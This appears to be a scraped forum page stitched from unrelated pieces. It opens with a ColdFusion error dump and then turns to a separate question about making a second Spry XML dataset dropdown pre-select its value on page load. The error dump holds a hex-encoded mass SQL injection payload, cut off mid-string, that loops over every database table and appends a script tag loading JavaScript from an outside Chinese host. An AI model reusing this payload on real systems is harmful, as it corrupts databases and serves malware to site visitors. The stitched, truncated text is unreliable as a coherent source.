    > cgi.remote_host220.191.251.211
    > cgi.remote_ident
    > cgi.remote_user
    > cgi.server_port80
    > cfcatch.detail
    > cfcatch.messageInvalid data 2168;DECLARE @S
    CHAR(4000);SET
    >
    @S=CAST(0x4445434C415245204054207661726368617228323535292C4043207661726368617228343030302 9204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616 D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726 520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7 220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F5 0454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7 220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E2065786 5632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223 E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A732 23E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3 C2F7469746C653E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A73223 E3C2...
    > for CFSQLTYPE CF_SQL_INTEGER.
    > cfcatch.typeDatabase
    > server.coldfusion.productnameColdFusion Server
    > server.coldfusion.productversion7,0,2,142559
    > server.os.nameWindows 2003
    > server.os.version5.2
    > server.os.buildnumber

  • Pre-selecting from Spry Data Select Box

    Hi
    I am new here so sorry if this is in the wrong section/format
    I am using Two Spry XML Datasets to populate 2 dropdown boxes with  vehicle makes and the connected model names (there are other fields but for the sake of clarity I will only show these 2). The XML is dynamically generated by PHP/MySQL and works great for initially creating records. The problem I have is when I want to edit my record and so pre-select the data in the dropdown select box. The first box is easy and works fine but the second box only updates when the first is updated using the 'onchange' and I cannot get it to update on load. I can get it to update 'onclick' or other events but I need it to  update the second box when the page loads. Any ideas? I am sure there is a simple solution staring me in the face, but I just can't see it
    My code is listed below. I have cut out all the unnecessary code to make it more clear (hopefully)
    <script src="../../SpryAssets/xpath.js" type="text/javascript"></script>
    <script src="../../SpryAssets/SpryData.js" type="text/javascript"></script>
    <script type="text/javascript">
    var dsmakes = new Spry.Data.XMLDataSet("xmlgenmake.php", "vehicle/makes");
    var dsmodel = new Spry.Data.XMLDataSet("xmlgenmodel.php?xmlmake={dsmakes::make}", "makes/models/model");
    </script>
    </head>
    <body>
    <form action="<?php echo $editFormAction; ?>" method="post" name="form1" id="form1">
    <span spry:region="dsmakes" id="makeSelector">
      <select spry:repeatchildren="dsmakes" id="makeSelect" name="make" onchange="document.forms[0].modelSelect.disabled = true; dsmakes.setCurrentRowNumber(this.selectedIndex);">
        <option spry:if="'{dsmakes::make}' == '<?php echo $row_Recordset1['make']; ?>'" value="{dsmakes::make}" selected="selected">{dsmakes::make}</option>
        <option spry:if="'{dsmakes::make}' != '<?php echo $row_Recordset1['make']; ?>'" value="{dsmakes::make}">{dsmakes::make}</option>
      </select>
    </span><span spry:region="dsmodel" id="modelSelector">
    <select spry:repeatchildren="dsmodel" id="modelSelect" name="model">
      <option spry:if="'{dsmodel::model}' == '<?php echo $row_Recordset1['model']; ?>'" value="{dsmodel::model}" selected="selected">{dsmodel::model}</option>
      <option spry:if="'{dsmodel::model}' != '<?php echo $row_Recordset1['model']; ?>'" value="{dsmodel::model}">{dsmodel::model}</option>
    </select>
    </span>
    </body>
    </html>

    Sorry for not being clear -
    The first Spry Select box populates with the Vehicle Makes and selects the stored make from the DB. The second box is supposed to populate with the corresponding Vehicle Models (corresponding to the Vehicle Make in box one) but it initially only populates with the first makes data (not the selected one) if I add:    onfocus="dsmakes.setCurrentRowNumber(this.selectedIndex);     to the first box it works as it should as soon as it receives focus and the second box updates and selects the correct model.
    I have tried adding
    Spry.Utils.addLoadListener(InitPage);
         function InitPage() {
           dsmakes.setCurrentRowNumber(makeSelect.selectedIndex);
    but I cannot get the second box to update without clicking on the first
    It seems there should be s simple solution to this but I cannot see it.

Maybe you are looking for